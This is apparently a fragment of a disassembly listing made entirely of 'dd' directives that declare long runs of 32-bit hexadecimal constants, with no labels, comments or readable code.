		dd 470AECB8h, 0F352CF00h, 7FD1A29Dh, 5B711Fh, 7C3FA5C1h
		dd 7DC8A1F2h, 5024F4BCh, 928A6408h, 0A3308873h,	0F1BD0684h
		dd 0E8E423B4h, 904E835Fh, 68744AE2h, 847CD780h,	12A0C95Ah
		dd 0E08588FEh, 510087C4h, 21DF904Ch, 0B6C21C4Eh, 0E8F9F40h
		dd 6D003CC1h, 0C8ECB949h, 10F02A01h, 43245ADh, 2665CEFCh
		dd 45E8EAB8h, 57A48813h, 0C972E400h, 45850854h,	352305F3h
		dd 0F080965Ch, 2F08EADCh, 0A474DD99h, 457C2C54h, 42E1C08Eh
		dd 470BAE06h, 0E9D87C8Fh, 3034DCB0h, 0C4A0BE8Dh, 0E3C8B468h
		dd 628693Ch, 94BBF1ADh,	185C71h, 0EC84FB27h, 3B80F432h
		dd 506DA88Bh, 70EC00B1h, 0C0AABB7Dh, 801FC157h,	1A8272D3h
		dd 0F1B9424Fh, 53FC264Ch, 80126876h, 0C8D29C48h, 0D864C2h
		dd 0BC540E30h, 0B8A3A4E9h, 6440D05Bh, 435F677Eh, 14487853h
		dd 0DC13213Ch, 0E0379C87h, 871A650Ah, 7B3B6109h, 0AA3410D4h
		dd 4FF51062h, 326B060Eh, 20E8775Bh, 4C72718Fh, 0F8A6A49Ch
		dd 4C22D81Fh, 0CD80685Ah, 3AB181BAh, 0CED87B07h, 0CA432251h
		dd 38581675h, 6A9C2179h, 0FFC392Bh, 0C0AE9097h,	32801A9Bh
		dd 0E70D0284h, 9555F1C8h, 15438041h, 43D248B1h,	660AE2D4h
		dd 7B3502BCh, 62B2A438h, 1CCD1B24h, 2EC065h, 3D95E268h
		dd 0FF7DE37Bh, 8344512Fh, 13A2B90h, 91383991h, 0FCA194F3h
		dd 150068C6h, 856FD8D5h, 39D0E1Ah, 83E37C49h, 0A04B11F6h
		dd 987F2CD1h, 0D44C6831h, 3CB8024Bh, 0E7C91F14h, 0F8F13A40h
		dd 505B1001h, 0CB034A19h, 1B85EE6h, 0E386F657h,	83BC4148h
		dd 682E0188h, 454352Ah,	20B29770h, 1A8B787Bh, 385193C0h
		dd 8249C85Eh, 12493768h, 0B58FE85Eh, 8B6B2354h,	0E8FFF022h
		dd 32C62FB8h, 0F002A092h, 0BC208BE5h, 9F19889h,	95ECE4B0h
		dd 27358800h, 51E0C740h, 6919DC00h, 3B4B60C6h, 6A65128Fh
		dd 87E18D2h, 0B5007391h, 45233C77h, 0F4B44728h,	64F8EDh
		dd 37EBB26Ah, 7E7ABB63h, 199D31C7h, 0CB50583h, 0D7889511h
		dd 1EE07130h, 6FF83100h, 9C6BCBAAh, 0A6EA0009h,	81F2FAD8h
		dd 64189201h, 6A0802B1h, 432304BCh, 0C0887CEDh,	0C63C090Bh
		dd 0F2017103h, 0A013A683h, 1FB88C37h, 0A84C1h, 6F199E51h
		dd 4329FF5Dh, 9B0040DBh, 4E06E35Ah, 1967D02h, 21A0EFF2h
		dd 8782BC79h, 0E2BFB0F9h, 33BD4A0h, 889D00A2h, 0EC80A9DDh
		dd 350A8D4Ch, 809790CBh, 0A0113380h, 39A83D1h, 94FB9273h
		dd 711479F9h, 84446E9Dh, 3D00D40Fh, 0D2332D86h,	48555B00h
		dd 0AA154C4Bh, 6ABC009Fh, 2F308C38h, 88156525h,	0A4B05Ah
		dd 0F24F8A1Ch, 7BA36763h, 0B1FF0EBAh, 1826CB29h, 0B929908Dh
		dd 723EDC0Ch, 0B2A40454h, 0A051E828h, 0ABD1D500h, 90F85E02h
		dd 2BD70F2Fh, 7600C033h, 7F13E683h, 406041CEh, 9285F841h
		dd 74F30234h, 9612040Ah, 0DC95A891h, 0A3010B02h, 2157037Ah
		dd 90C8F337h, 58DC6081h, 23BBEBB4h, 0FDF1FF00h,	9DB902B2h
		dd 0A2BF0AB7h, 80883396h, 22D885ECh, 7C0A9BBBh,	0B0EEB186h
		dd 28E78D80h, 1147A95h,	33DDE6DEh, 705E0AAFh, 2A29EBB6h
		dd 98039070h, 2E7A3Ch, 9A8A72ECh, 0B771602Dh, 653E21C0h
		dd 0EF4CFDh, 4030877Fh,	9DC3CB37h, 0F904C9FCh, 8693B16Dh
		dd 4D330480h, 0A401F822h, 0C97030A0h, 51DE3C49h, 0BB98530Fh
		dd 0C18DA0BEh, 4B78A2h,	6C7A815Bh, 931DD340h, 69FDDB01h
		dd 8822B19Fh, 3444CF02h, 0ECAF9E00h, 0FE5AB315h, 2568098Ah
		dd 6E8138EEh, 954BD0A9h, 1884D880h, 0D2088CCFh,	751C3846h
		dd 0B229734Ch, 0C65D91E8h, 0B17C59h, 0FD458830h, 10A2AE1Ah
		dd 6D562D0Ch, 607089FBh, 470329B4h, 2279CC32h, 0B8279900h
		dd 9D9EFC75h, 7B9F0A39h, 3094193Dh, 0FA9A5439h,	25705500h
		dd 0FFB7124Fh, 0E4D64892h, 0B8D3BE18h, 0F884DC4Bh, 888C9134h
		dd 104908C2h, 6D4841Ch,	0B1DF265Eh, 6E00F9EFh, 9DA01323h
		dd 0FDEB722h, 4B8B380Ah, 38FA5BC6h, 0B200ACACh,	9B1372B4h
		dd 0E211360Dh, 8DC7043Bh, 8078B01Eh, 0B49ED1A0h, 0ECE6902Ah
		dd 0D194CF30h, 6383C5h,	208C0B4Ah, 99EEB9A7h, 720AB600h
		dd 0CBDE9CDFh, 88042905h, 53FD871Ch, 1D21410Ch,	0E0AAE808h
		dd 0D93D5201h, 5F85FA11h, 52834BE8h, 0CE22B820h, 73A7BE00h
		dd 2A393525h, 0BF50030Fh, 0B443752h, 56E2C0B4h,	7D48D2F1h
		dd 0E8250178h, 7C14B969h, 0EB8DCB10h, 30B794A8h, 0DF0CE455h
		dd 8B2A900h, 1184DA5h, 50D400C3h, 0B6C27769h, 565495D1h
		dd 0F70011C8h, 0CF54F375h, 0C4BF5h, 0DF484EFAh,	1A9685CCh
		dd 0E2B4B0A8h, 0E7F13100h, 0C792EF74h, 0FC420006h, 93827A63h
		dd 79C541B1h, 541211B9h, 146CCC1Fh, 0AF61883Eh,	547BBE7Bh
		dd 79C4D1h, 0A93DF455h
		dd 15A7ECBDh, 1AB4148h,	2B471FE0h, 0A82071BFh, 9F033754h
		dd 0EFF91799h, 0C0E528E0h, 1060F28Fh, 3DB004A9h, 112A6395h
		dd 0FDB926A1h, 0AF18178h, 0B1041BBBh, 0D38100D3h, 613E35F7h
		dd 80008960h, 0F5230FDh, 20D749Fh, 4006B87Fh, 0F462B290h
		dd 3611C802h, 288B34C0h, 0BBB090Ah, 0DB40C078h,	1D9E5597h
		dd 1849B0E7h, 0B8EA89F1h, 78F30524h, 0FDC05060h, 0AB52006Ch
		dd 4BD719CAh, 31C00D96h, 31A42F23h, 48571F16h, 21709662h
		dd 444AFAD0h, 0DEB00578h, 4B5003FEh, 2900FA6Ah,	41F951F1h
		dd 0D1FF378h, 2CBF2DDh,	9FF88180h, 0D11195D0h, 4068109Eh
		dd 0F8B3C653h, 76020C5Bh, 0B17CCC6Fh, 0AA94A7E7h, 4B3F9670h
		dd 78D700ABh, 0EAF8DFE4h, 0EE00D60Eh, 0A5AE6212h, 40CC692Fh
		dd 1C1D13B0h, 0C013C85h, 8096E20Bh, 40A72430h, 5204607Eh
		dd 0F98F8DC3h, 6C4B4888h, 30E8A184h, 17E098ABh,	6C0061C3h
		dd 0A50934B2h, 0A489990Dh, 933B307Ch, 0A53D5D39h, 0AC07060h
		dd 636D416Fh, 0BCB19919h, 913CD100h, 2F37E3E1h,	2A57966h
		dd 23F57051h, 58690F5Bh, 3B486360h, 0CB3980B0h,	0F11E027Bh
		dd 35AC024Bh, 0F292976Fh, 0A048CC4h, 0B7B5155Dh, 3C0FD08Ch
		dd 69F7C3Ch, 3DA90405h,	0B108935Ch, 0CF846906h,	0FC18BD5h
		dd 0C231442Ah, 9DFA87h,	37C1FDF2h, 4B14EC77h, 80F08657h
		dd 49511984h, 80EF033Eh, 0C15F9EF7h, 0EA8C88FDh, 30C1C00h
		dd 9F2919A0h, 0E0FE00BDh, 0BB10A507h, 0A499C606h, 0C9580140h
		dd 0A21D00F1h, 31D8B036h, 0CA487DF2h, 384C0921h, 820C8633h
		dd 0A5DF00F1h, 58F293A9h, 7489597h, 19B28B30h, 0BFE8E6D0h
		dd 6CDA0040h, 0E431EE6Dh, 0BB03ECBCh, 0B73DB5C6h, 2B901067h
		dd 8600E69h, 0ACBD616Bh, 24417102h, 0D9D05629h,	0DCAA0F43h
		dd 202242B8h, 0B0801812h, 38BFDEBh, 0B3CBDB12h,	10B95491h
		dd 5F815028h, 10CF6592h, 8EFED6h, 794238E4h, 8B17BBFh
		dd 0B259C400h, 0EF112B89h, 0B8F755C9h, 3632FE8h, 70202E29h
		dd 0DE807B93h, 0A60FC357h, 4421B859h, 9C84DC6Fh, 1DA4708Ch
		dd 7C27FEF4h, 529B258Fh, 15FF2180h, 0D307E662h,	0F376F6E4h
		dd 7D965541h, 6A61C24h,	0B10D5D34h, 2300C9F0h, 14583B04h
		dd 16D22BD3h, 607BACB3h, 0DBCF28A0h, 5CFA627Fh,	0B2B16112h
		dd 65FBA804h, 514C4A45h, 0C1002CDCh, 0B264FABh,	350BED86h
		dd 40D5C76h, 0B722945Ch, 47D44F20h, 5850277h, 25E28976h
		dd 637F5061h, 32A603DCh, 0F8A57380h, 0F49BBD5Ch, 0B4F02C04h
		dd 0B6C10004h, 0B7813D10h, 0A51F237Eh, 0CC928D82h, 606DFC92h
		dd 2641919Ch, 0F948594h, 0BA031148h, 89006208h,	0C3CFF992h
		dd 379C19A8h, 7019C85Bh, 0FCA74F4Ch, 83F80D01h,	0E79AF1AEh
		dd 2FC499E5h, 124712E3h, 59EC0CF3h, 13010371h, 49EDCF8Ah
		dd 0D4FC57B6h, 96A60335h, 0E5B1724Ah, 0C1512900h, 0CC8C5082h
		dd 65733940h, 17F6FD83h, 32A037B2h, 0A615B909h,	9C8ED0h
		dd 74E93B23h, 3F86761Ch, 908B0271h, 8C09E8F3h, 40651C84h
		dd 0F1B13B74h, 0FCC90BBAh, 7FDDE19h, 0CC669E03h, 3FD20281h
		dd 2DFFA8FDh, 81C9F4E0h, 79F841C1h, 0CFECA91Eh,	0B310002Ch
		dd 36585B72h, 2475234Bh, 9B76602h, 41ABE29Eh, 611073A8h
		dd 0EA006757h, 0BA874FC8h, 62BDF51h, 0E69ECB88h, 0CF586085h
		dd 0B3429D28h, 8270A819h, 835AFB86h, 0E8AB8B24h, 35A65F7Eh
		dd 20408C6Eh, 730CB908h, 0E9605CB9h, 484BB0DCh,	0FA823439h
		dd 446B34F2h, 9F8855E1h, 828A4AF9h, 520114BCh, 0AC5771A3h
		dd 20F18DE9h, 39FC80E4h, 986429A5h, 0E9E040CFh,	939AEFh
		dd 237721AAh, 8B79BEF4h, 0DC94CB00h, 0DACC471Bh, 3181C9F5h
		dd 0EEA15448h, 8DB45104h, 68D087DCh, 103180Fh, 33373D92h
		dd 419B70D8h, 0F6BEEA6Ch, 38F6CF03h, 0CD80D7A9h, 0B25F744Ch
		dd 6813A7B0h, 7E00FB39h, 85BF3A24h, 8873CABh, 70B40E06h
		dd 0DB0051B1h, 6D191BC3h, 6B86D5h, 7B68E61Ch, 5B5E1792h
		dd 0EA9B5601h, 0B8F9B44Ah, 11BC79ACh, 0A49526C3h, 3E5000BEh
		dd 185197A0h, 0A8B900C6h, 0CA8379F6h, 4D13EBFBh, 0C3D95Ch
		dd 324DC39h, 4334E544h,	200B9498h, 0E27F0401h, 9B60DF6Bh
		dd 0C6858E42h, 7D700A8h, 75C2581Ch, 0EB128C01h,	5F000E54h
		dd 9E57FDECh, 389D60D1h, 0C90A61F9h, 71906Bh, 0B1B2E0C8h
		dd 817B0BD4h, 0E806AAC8h, 0EB24218Ch, 0E91F30A6h, 0FAB783C0h
		dd 24DB8ACh, 330A0813h,	6C6495F3h, 43E4C800h, 0AF698FB6h
		dd 0A35E01D9h, 70E8BE7Fh, 5CCACE6Fh, 0B8ABC080h, 0FD0E0E9Dh
		dd 0F3B0F007h, 74C07CC8h, 5CEF059Ah, 81A5F874h,	73936FBCh
		dd 115453C0h, 86138784h, 0AE9C0FA5h, 0FCB02291h, 3CEB5880h
		dd 0BE455702h, 7E409B68h, 0AB07231Ch, 0ADC22493h, 9CE2F540h
		dd 97D23875h, 0C39B0200h, 89B4EEA0h, 831AC102h,	0E05B5D03h
		dd 34A90Eh, 93AC2C45h, 46BB1D96h, 0E284072Ch, 27EF9000h
		dd 19E2648h, 0E0B380E3h, 43E41CA6h, 12A43A38h, 43C01B00h
		dd 732E6863h, 407D1678h, 0A28106B0h, 0E40060F4h, 0B4E565A8h
		dd 6EC2D9h, 19F88E3Eh, 0E28BAAD4h, 0E076410Eh, 0C878E6ADh
		dd 2B0F18C9h, 2AB341BBh, 0AE600C73h, 19FF0A11h,	4A5F0FC5h
		dd 0D240127Fh, 0D05E9914h, 5CF9D5A0h, 0E56F7C07h, 4FE0CC1Ch
		dd 0C1528F46h, 14A52C58h, 1CF980FCh, 0F491D5A3h, 0ABDF300Fh
		dd 8B244861h, 42CC89C0h, 0B04B1946h, 841C0024h,	5FF65A56h
		dd 4C6316A4h, 1EB2449h,	273F3A31h, 0C4FD4A95h, 5F0A6DD9h
		dd 6CD134CEh, 28AAC4BFh, 334D27Dh, 6522368Ch, 0A80092BBh
		dd 0F69402A3h, 0BC9009h, 0CD27D9F0h, 0FA191A0Dh, 5CDA9E38h
		dd 0E8B2024Dh, 43545FF7h, 5D9103B6h, 782B284Eh,	0E48F03E0h
		dd 0B98C9B00h, 0BC547237h, 0BDDF017Ah, 2960459Fh, 0F70829Dh
		dd 0A3240390h, 0B865ECh, 2A07B589h, 7F34C9CBh, 0FB6748h
		dd 4CFB9394h, 284659C5h, 0AA4546Ch, 0D20FFEADh,	7AAA41B0h
		dd 65E18CC1h, 7B651A7h,	22BE3A42h, 0B28F40C3h, 9B014628h
		dd 8EAD7449h, 0E34A6Bh,	70C831C9h, 0B3FBD679h, 0D2C71300h
		dd 0F5AA079Dh, 0BD1412C2h, 4B4C0AE1h, 0C13946C4h, 0EE95F900h
		dd 144CFCDBh, 44B62D9Bh, 0D40015D4h, 0B25541E0h, 38FB6017h
		dd 50A7C247h, 0B9FF08C1h, 51804A4Bh, 466E8A2Eh,	0A8007D5Ch
		dd 8CD41785h, 35BED0Ah,	71B579E9h, 3D83348Fh, 0BA467809h
		dd 2B341054h, 40848AFEh, 0D8D140A8h, 0C05065F9h, 141D6011h
		dd 7898F0B0h, 0C5F6D201h, 97B46B34h, 6883BE8h, 745145ABh
		dd 1822599Ch, 82F405FCh, 4FD1CB9h, 405D6034h, 97C2BC8Ch
		dd 0F1B30050h, 45EE72DDh, 9860B4CCh, 1669AC20h,	9DB700A0h
		dd 0E7FBBA88h, 46F281FAh, 7C9184A8h, 185C22F5h,	4739923Ah
		dd 8A140FA2h, 0D084961Eh, 34689291h, 0C167880h,	3C006E70h
		dd 7AB26C2Fh, 2AAA5E0Bh, 35D0087Ch, 0DA9D10Fh, 0F1397914h
		dd 505050EAh, 6C02DAFDh, 0DC654C3Eh, 53AC919Dh,	85D02411h
		dd 0FCEA7EA1h, 884ACEC3h, 0B03F8Eh, 0DBBBCF82h,	18FDB70Bh
		dd 64B91601h, 8845991Ch, 42C8980h, 0A6081514h, 8B005899h
		dd 0CF5E7C58h, 339B0011h, 406ACE27h, 0F2079F70h, 0E01675A6h
		dd 0C2AF1C05h, 4644A76h, 0ADA82000h, 0C4271511h, 48140B35h
		dd 0FE03399Dh, 23882FFDh, 5A0346D1h, 7FAA5D25h,	0CC890138h
		dd 54ED01A6h, 0E1B451BAh, 8FEE2074h, 0B412AE00h, 0BE04DA18h
		dd 23E73BA4h, 44EF2993h
		dd 81F9AD60h, 11F497BCh, 2C403A78h, 3046FA7Bh, 8BF15767h
		dd 0CB0CF4DCh, 0B9413F97h, 723C000Eh, 9DC694DDh, 0A200A926h
		dd 0F804DE73h, 13F49CACh, 5434F61h, 8CB3547Ch, 60005A00h
		dd 0D1BED684h, 1FD38906h, 470EE2CCh, 0B934B264h, 481E2016h
		dd 4A404BEAh, 5A547BF4h, 8DDD08EDh, 0A580FD34h,	1DF6C20Eh
		dd 95B50CADh, 53710F23h, 0EE49C600h, 0E06CAAC5h, 0C0E60067h
		dd 39A432B8h, 11E8051Ch, 1549FF65h, 0E2D11783h,	24406012h
		dd 0FC3492C5h, 21940E56h, 0DD20AE13h, 15BD6F26h, 4F00F8E4h
		dd 0B31D5C8Fh, 988A4DC2h, 9F648064h, 0E08C0099h, 0D8143E3Bh
		dd 59012858h, 44B761F1h, 61852D9Dh, 823F2CEAh, 5441C6EFh
		dd 80C1BB0Eh, 9B35C95Dh, 3ED1617h, 0DDADAF94h, 0F188403Fh
		dd 8738756Bh, 0AA5C866Fh, 81393474h, 0A050C7F0h, 5331CB3h
		dd 9F1FB286h, 15649163h, 300309Dh, 1F139C44h, 0C08A6897h
		dd 634CE09Ah, 0F1A208A1h, 0F4BC0049h, 344C5C6Bh, 36C780A0h
		dd 5CF655ECh, 0F41D7035h, 0E1BA40F1h, 109F6954h, 0C82CAD75h
		dd 4C00AC41h, 0B3A52075h, 0E80F0415h, 2E9D4Fh, 0E2A955F5h
		dd 10D8001Ch, 8FC569BDh, 431D3AAFh, 618481EBh, 589090B2h
		dd 27C94Dh, 0F40ADE1h, 9158C403h, 90A68E04h, 32838CEBh
		dd 0A3BB34h, 0C3AE7031h, 3EA2B365h, 0A5AA1024h,	14489900h
		dd 12813242h, 31C60F04h, 35579D38h, 9FD3F0C0h, 0F03449C6h
		dd 0AE7E00F9h, 0EB49FFF8h, 702492EDh, 0D4425C85h, 0D8852998h
		dd 44C8403Dh, 0FFD140Eh, 28AD2528h, 3174244h, 99C4AA0h
		dd 9BE8E38Ah, 3F3091BCh, 66462105h, 0B3A1CAAFh,	2FA10020h
		dd 3A80C336h, 63176800h, 2611E38h, 0CDB7004Ch, 2C30A201h
		dd 65104958h, 0F3009345h, 0A056785Dh, 76FCAAC0h, 70240F0Bh
		dd 0A0548CA9h, 0C1FA8BAEh, 2088A444h, 6CF65A60h, 690CD1Eh
		dd 45F2FC0h, 48A991h, 0B2B9E1F6h, 55D286E0h, 8E001C7Eh
		dd 2CCC14ABh, 3EE99064h, 0DD0F9C54h, 32968256h,	11E077F4h
		dd 5000D599h, 48E98507h, 5577A79h, 0B8292637h, 1FC02015h
		dd 22396595h, 995EB01Bh, 0B05B9DCh, 2E3FE967h, 4BF494A5h
		dd 549279D0h, 0FB1D2483h, 878E111h, 32270F16h, 6B10C030h
		dd 4414C1Eh, 8AAB8FC0h,	0D03A4521h, 0C4CF01FAh,	6F524698h
		dd 91B3B824h, 6D680F3Ch, 365CA261h, 3F5DB0Ah, 3DB40EB1h
		dd 0E0BDCFD8h, 0F1605F64h, 5099CCC2h, 4780442Ch, 0B924BCB8h
		dd 0DB0CD492h, 889F619Dh, 4409A4EEh, 0D245219h,	1463A087h
		dd 428013h, 7EDDB7C8h, 4C2932ECh, 3D9CB8FCh, 0E7EA8401h
		dd 0FAE4B1BBh, 991E2C1h, 11D9549Dh, 6234E099h, 20950C58h
		dd 0D8EE9Ah, 5339F19Eh,	892A4B7Ch, 28691539h, 0F134095h
		dd 0E40C224Ch, 4CAAB1A9h, 65896CC6h, 0A225B048h, 189BFF00h
		dd 0C7C39F85h, 5E8D264Ah, 20842CF4h, 1EA51828h,	0DD1589FAh
		dd 45C02A07h, 1CC6A6D1h, 32F44A19h, 7910192Ch, 5879C23Dh
		dd 0F8644A6Ah, 7C5A6407h, 0D0A5F020h, 64C8B4C5h, 9DEA0080h
		dd 0A3C89663h, 8F3DD6B7h, 60180066h, 0B9A90ADAh, 48BCBADFh
		dd 44007814h, 9CB3BD1Fh, 1AF8DD60h, 9C942892h, 4D033340h
		dd 466600CBh, 372D5105h, 6C0281C0h, 0C12C65E8h,	0F9C0E3A7h
		dd 7C44A9BAh, 0D2DD0B80h, 784148E0h, 0F39A61C0h, 5B128E3Dh
		dd 0CD1FC24h, 0AC7215A6h, 4D1C7C00h, 3E0C3A40h,	0A90B8094h
		dd 360821Eh, 0C64CE274h, 627900A0h, 0EA476E65h,	9F6EB1A3h
		dd 59542332h, 0E31DF027h, 0E88C58E1h, 60000822h, 0F81ED723h
		dd 0C5B609h, 29BEFF5Eh,	1867DF9Ch, 0ACF79A14h, 0B823C1D8h
		dd 0E012531Fh, 8818C88Bh, 9200990Fh, 31D52041h,	1B19A94h
		dd 48B9D2C1h, 700A8581h, 7D5C9544h, 0C0889028h,	5F5ADFF1h
		dd 82B1FA6h, 39342C3Dh,	0B2D71Dh, 10BD4386h, 1B498CDDh
		dd 735A3E6Ch, 0F3003091h, 9F6BA3DCh, 0CBEF0472h, 0B20F029Ch
		dd 800500B0h, 861B2FA9h, 978F0094h, 0DF90E8F7h,	1800586Dh
		dd 99A54564h, 2E37B361h, 0E568CE81h, 740C8CC6h,	504B084h
		dd 361032B9h, 0A574C0B2h, 74914D14h, 64047022h,	1620C169h
		dd 0AD608Ch, 6A635EFDh,	0B1348CE6h, 24D897FDh, 0ECA2C20h
		dd 61810080h, 36EB9CC2h, 0CD0091C8h, 221B6550h,	77488B8Eh
		dd 69536FC4h, 837F4BEBh, 90D8D31Bh, 9265835h, 0F4AAEBCEh
		dd 0F19CDC18h, 0B8435600h, 0DDA1C498h, 0D2B4A0EEh, 0B9461858h
		dd 123E295Fh, 583F9A5Ch, 0B7A80390h, 0A2E405E3h, 7264804Bh
		dd 0E88AD760h, 44E890E2h, 1C9013FCh, 0CCA698B0h, 39E4F700h
		dd 513664FBh, 0BE3A000Ah, 79198C84h, 2E07AAC8h,	0A9CC0EB1h
		dd 0FC8CC564h, 0FDDE0ED0h, 4181C044h, 50DD290Fh, 92B25BC8h
		dd 7D91BD0Ch, 60653136h, 3BFE71A4h, 3800C0E0h, 7AB09A89h
		dd 3261CD2h, 275AA1CFh,	494C411Fh, 41B434D4h, 24A8081h
		dd 13CCE448h, 0C1CEF7Bh, 0B9319C88h, 8A7AC201h,	0AA59B052h
		dd 20B33997h, 0D83DB874h, 0FD300B00h, 7862C798h, 32F90507h
		dd 95F666AFh, 0E2186408h, 424F00ECh, 0F788D202h, 95AA00F2h
		dd 4B2C98Bh, 0B5ECC5CDh, 138C6548h, 30D1A797h, 0CF43735h
		dd 2E06002Fh, 0FE191F7Eh, 0B4B262h, 0D7198C26h,	0A0D26561h
		dd 53967290h, 0D00B0046h, 99A3EF56h, 0E90EBF9Fh, 5A08C8Dh
		dd 20CCC391h, 0B02439C6h, 0B7AFF80h, 3A1020BCh,	0AA272898h
		dd 2894C7h, 0BF863CC1h,	0C4D6BE84h, 7B0175E2h, 0B9714874h
		dd 97FC5444h, 45032481h, 0AAB20C30h, 0D00016D1h, 2EB1AB28h
		dd 1C7E5Ah, 0F6B75839h,	30FABD83h, 14F42317h, 4CC5802h
		dd 13E49035h, 7BA600BDh, 5B5C6F28h, 0A47BB015h,	0E312E200h
		dd 0DADEA1FAh, 4A0FF86Ah, 0E9B440DDh, 0B59D9513h, 8CF8B902h
		dd 5A669276h, 8DB607D0h, 0A0D47A07h, 0D8FF6DA1h, 61093900h
		dd 968EB11Bh, 5817041Fh, 0E29DBD02h, 30980070h,	3C4A734h
		dd 0D7E50049h, 0AACA9AC2h, 3612BB29h, 9400AE89h, 0E2B20FD2h
		dd 224490C6h, 411AA67h,	0D200434Ah, 0FA840821h,	827253DBh
		dd 802AF417h, 0FB033C44h, 0F57FAA04h, 3FDC608Ch, 793B3E00h
		dd 0BEBD1E9Fh, 0DD77340Ah, 0DA34A138h, 0D77DAA21h, 2B114463h
		dd 0C69D18FCh, 244F7DD1h, 5FEE2D6h, 0C08A01E6h,	0BC277AC9h
		dd 0A12524FAh, 29440255h, 0F2B324A9h, 1BA707D4h, 41906E69h
		dd 2B80A56h, 0F3DC2BB9h, 0CD9468Ch, 1644EA15h, 0CC008201h
		dd 7F611611h, 11ACBBB2h, 11A5121Eh, 72A42Ch, 0D668E6A1h
		dd 18B1A550h, 0EAE0870Eh, 0A79920BAh, 4F4BB852h, 31A82517h
		dd 0A4E1CCCh, 0C7719200h, 60C8D57h, 0EB9A3E03h,	0A187ED76h
		dd 0ADC84FDEh, 1188B65Ah, 0D7E1029Fh, 0E1CDD62Bh, 0C0145D88h
		dd 71DD6364h, 0A31C7F05h, 0D880AE9Dh, 242BBE90h, 246C7AE3h
		dd 40052DECh, 913C86B7h, 0B99CF509h, 0D781118h,	6C22A877h
		dd 2861F119h, 1FF0E618h, 0EF60B629h, 0D69EAA40h, 99008BAEh
		dd 0C0F3BBB9h, 9EDD08BCh, 0E678B3F4h, 0D10F3113h, 0D01E2892h
		dd 481122C8h, 4227A8A1h, 0ECD23410h, 6FF8FC00h,	52C3C796h
		dd 25DC0036h, 0DB484BC6h, 40B4B2D6h, 0D4204A3Ah, 0BC98A8h
		dd 0A5DE7128h, 1B8214Ch, 22CC835Ch, 135B5A49h, 0C12488E4h
		dd 483F3101h, 4BAF3674h, 7E915988h, 0F3FCC40h, 0C77C62h
		dd 8DDD3D09h, 0A45535AAh, 904A174Fh, 6A007824h,	0E4E9B29Eh
		dd 0A5A0C975h, 68C62CC9h, 0B1CAA084h, 0A8D30599h, 451995A9h
		dd 0B74A1090h, 653F0258h
		dd 61059BBAh, 0C4F4E6EEh, 0ECB4007Eh, 0CC41E0D5h, 0E7011C8Dh
		dd 0FEA8A7DAh, 8098649Ch, 78899DCh, 0FA5C8200h,	6FB6C917h
		dd 0F7C43D99h, 0EADDBF0Eh, 0F9E07240h, 10B1B4CCh, 4000FD3Ah
		dd 4D427549h, 0EAC39BE7h, 96D8B403h, 528008B3h,	9113A58Eh
		dd 31ED25h, 8E46105Eh, 2A18A05Dh, 0FDF488FBh, 7443B44Eh
		dd 90A41BDFh, 906A48F8h, 0B88E00C9h, 4CC7856Ch,	7E3E7354h
		dd 507A34CEh, 0D4C018A3h, 0A63DFCE1h, 60999860h, 7CA7AD17h
		dd 41D4BC5Dh, 0AF01A03h, 0CAC52F07h, 0CBC00FEEh, 0BF2A8C97h
		dd 13884CB4h, 30102D49h, 600426Dh, 0F9396B0Ch, 1099B4h
		dd 493656FDh, 0B31D3D1Eh, 20D7A224h, 893C1B26h,	0C01C53D4h
		dd 2905F138h, 28810A4h,	94B263E0h, 4DA5B720h, 8923008Fh
		dd 1A34650Bh, 0E251039Ch, 2F3832C0h, 3950A0B3h,	24CD808h
		dd 0C78A5560h, 0C4420A50h, 1FB3EC10h, 9B19BD01h, 4B8A615Ah
		dd 0E7108467h, 4934183Ch, 3F1A5B19h, 82804616h,	9F9BBE25h
		dd 0C000123Ah, 0ED0557C2h, 0BC4CDBD8h, 311EC470h, 0E0155766h
		dd 0B3E43334h, 0A8F02D00h, 0CAAA38BCh, 0B47CCBC3h, 5659B468h
		dd 5315B800h, 0D27EB042h, 0AB1000D8h, 604BFC3Ah, 0DCA41905h
		dd 0C8E744h, 0B5C1E2AAh, 8E9DB15Bh, 0CC124C94h,	0B9D53030h
		dd 3FC300FFh, 0B389A2A3h, 3600E0DBh, 0CAA16F4Dh, 604F87h
		dd 0C5951CB7h, 0ADAE3F5Ch, 0D8750B3Ch, 90942DBCh, 173D38h
		dd 48DEBFC7h, 661A9249h, 27997909h, 7E9500AEh, 9E749002h
		dd 38D0443Ch, 243B5865h, 50FD1684h, 1DAB22A8h, 0D7FA410Fh
		dd 40E4C950h, 1A24B81Dh, 0F8AE3E00h, 52C075A4h,	0C5D7E446h
		dd 8C448C51h, 8139EC8h,	0C200E66Eh, 5865564h, 231C02FAh
		dd 0BD45AD14h, 130138C6h, 6BD2C594h, 2C42551Ch,	0E4B3257Ch
		dd 0C5004F28h, 43DF737Fh, 3CDAA68Ch, 0DC0A1713h, 167C2924h
		dd 0AC8ADEh, 0A122867Dh, 950565DCh, 3DC73410h, 62B25588h
		dd 7BAA3987h, 2601B0D1h, 0DA1F5B2Fh, 45F2030h, 7AC3B2F8h
		dd 37CC10Eh, 0BD1453AAh, 8F9DDB2h, 880599Eh, 3C4DB017h
		dd 370D3E34h, 0D30018BBh, 0CEB43173h, 58C49458h, 80A21246h
		dd 3FFA4401h, 0D4CD7780h, 0AA00E25Ah, 1637E3EEh, 246CD72Eh
		dd 23B81315h, 1B2D8078h, 0E4D0A59Ch, 0A0965CE0h, 811C6F01h
		dd 318396A7h, 238E5FB5h, 634222B0h, 859B3A0Bh, 0BF28C10Fh
		dd 0E5AC8980h, 5CDB5A7Ch, 14E49C90h, 659EA899h,	8E0729B0h
		dd 30D4006Bh, 0B2E48722h, 367E2A5Bh, 5C60BD5Ch,	10279E1Ch
		dd 0BC8324h, 15CD4003h,	0B188841Ah, 717D2700h, 11995C9Ch
		dd 521F4BA7h, 40281CE8h, 38DEAFEDh, 0F62B570Fh,	0FA00B8C6h
		dd 1FDA8632h, 2ED20026h, 4E94AF07h, 8702B170h, 0B53A3CC5h
		dd 9588606Ch, 5D450BF0h, 70C47EAAh, 2863D146h, 0AEBB4591h
		dd 1C99E97Bh, 0A49E9300h, 0D7C098h, 40D96C0Bh, 521758D6h
		dd 6B8ABD25h, 2DB8A10Ch, 22032037h, 81D5EEB6h, 91C260E8h
		dd 0C058BD72h, 81CC8F0Ch, 2B0F2761h, 0C2969478h, 0C8633170h
		dd 3E0193C2h, 0A0CF021Ah, 309BD2Ah, 21241C8Bh, 8801F63Ch
		dd 0CBA37096h, 6893B3BBh, 4E9088A1h, 8D7185F2h,	0D827C7ECh
		dd 174C9045h, 0D2E800DBh, 21188C68h, 23003A89h,	0E2F8352Dh
